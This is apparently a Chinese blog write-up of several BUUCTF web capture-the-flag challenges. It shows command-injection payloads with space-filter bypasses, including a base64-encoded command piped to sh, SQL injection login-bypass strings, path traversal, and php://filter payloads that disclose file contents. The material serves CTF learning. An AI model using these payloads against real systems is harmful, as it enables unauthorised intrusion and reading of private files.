BUU写题记录

目录

Secret File

Exec1

ping ping ping

EasySQL

 WarmUp

Include 1


Secret File

打开后,查看源码

发现了aechive room.php,转入

点击SECRET,发现出现了另一个页面,

于是返回尝试抓包,在SECRET的页面尝试抓包,抓包后发现了一个新的文件   secr3t.php   

转入,发现是一段代码审计

filter伪协议,出现了一段字母数字排序;

 用base64解码,出现了flag

Exec1

先了解一下命令拼接符:

a && b :执行前者命令a再执行后命令b,命令a执行正确才会执行命令b,在a执行失败的情况下不会执行b命令。所以又被称为短路运算符。

a & b:执行命令a再执行命令b,如果a执行失败,还是会继续执行命令b。也就是说命令b的执行不会受到命令a的干扰。

a || b:a失败才会执行b;a成功不会执行b命令;

a | b:无论a成功与否,都会执行b命令;

另外

ls:仅罗列出当前文件名或目录名;

ls -a:列出目录下的所有文件,包括以 . 开头的隐含文件;

ls -al:显示当前目录下的所有文件及文件夹包括隐藏的.和…等的详细信息

先查看目录信息  127.0.0.1 | ls (执行b),出来了一个文件,没什么用

遍历一下试试,127.0.0.1;cd ../ ls

直到127.0.0.1;cd../../../;ls时,出现了flag的文件

打开后,127.0.0.1;cd ../../../;cat flag

ping ping ping

查找目录,看到了flag.php

进去试试看

找到了放flag的文件,但是要打开该文件得用到命令cat flag.php , 必须绕过空格过滤

常用的空格绕过方法
$IFS              

$IFS$6                               ——后面的数字6换成其他数字也行

${IFS} 

<

<>

{cat,flag.php}                      ——这里把,替换成了空格键

%20                                     ——代表space键

%09                                     ——代表Tab键

使用命令cat$IFS$6index.php

接着查看网站源码 

参考其他大佬的方法,感觉很实用,文里还有其他的方法,都很实用,感觉这个最容易理解

sh编码绕过法

echo 命令编码|base64 -d|sh
也可以换成其他的编码形式,这里用base64的
空格用$IFS$6替换掉
cat flag.php 的base64编码为Y2F0IGZsYWcucGhw
构造payload  , 相当于执行命令cat flag.php

inurl?ip=127.0.0.1;echo$IFS$6Y2F0IGZsYWcucGhw|base64$IFS$6-d|sh

再查看网站源码,得到flag

EasySQL

传入的参数改为username=admin' or '1'='1&password=test' or '1'='1

 

' or 1=1 #

' or 1=1 -- (后面有空格)

'or"="or'

secpulse'='     secpulse'='

 WarmUp

打开后查看源码,看到了source.php

访问source.php后,看到了hint.php

 

 访问hint.php试试

提示有ffffllllaaaagggg,尝试file=hint.php?../../../../../ffffllllaaaagggg,

出现了flag 

 

Include 1

写之前先看看这些内容

php://filter——读取源码

php://filter 是php中独有的一个协议,可以作为一个中间流来处理其他流,可以进行任意文件的读取;根据名字filter,可以很容易想到这个协议可以用来过滤一些东西; 使用不同的参数可以达到不同的目的和效果:

resource=<要过滤的数据流>指定了你要筛选过滤的数据流。 必选

read=<读链的筛选列表>可以设定一个或多个过滤器名称,以管道符(|)分隔。 可选

write=<写链的筛选列表>可以设定一个或多个过滤器名称,以管道符(|)分隔。 可选

<;两个链的筛选列表>任何没有以 read= 或write=作前缀 的筛选器列表会视情况应用于读或写链。

主要有一下两个应用:

1、利用base64获得源码

2、通过读写编码实行绕过操作

base64获取源码

通常会构造payload:‘php://filter/read=convert.base64-encode/resource=xxx.php’

php://filter与包含函数结合时,php://filter流会被当作php文件执行。所以我们一般对其进行编码,阻止其不执行。从而导致任意文件读取。

read=convert.base64-encode,用base64编码输出,不然会直接当做php代码执行,看不到源代码内容。

php://filter协议,用base64编码的方式来读文件flag.php;这时页面会显示出源文件flag.php经过base64编码后的内容,然后经过base64解码就可以看到flag,以上内容在这篇文章上有更详细的说明

打开后点击tips没有得到有用信息,返回查看源码

看到了flag.php,访问,也没有什么用

试试先用文件包含漏洞中php://filter/convert.base64-encode/resource伪协议帮我们返回已知页面的代码

 出现了密文,解码后得到了flag

 

 

 


 

  • 1
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值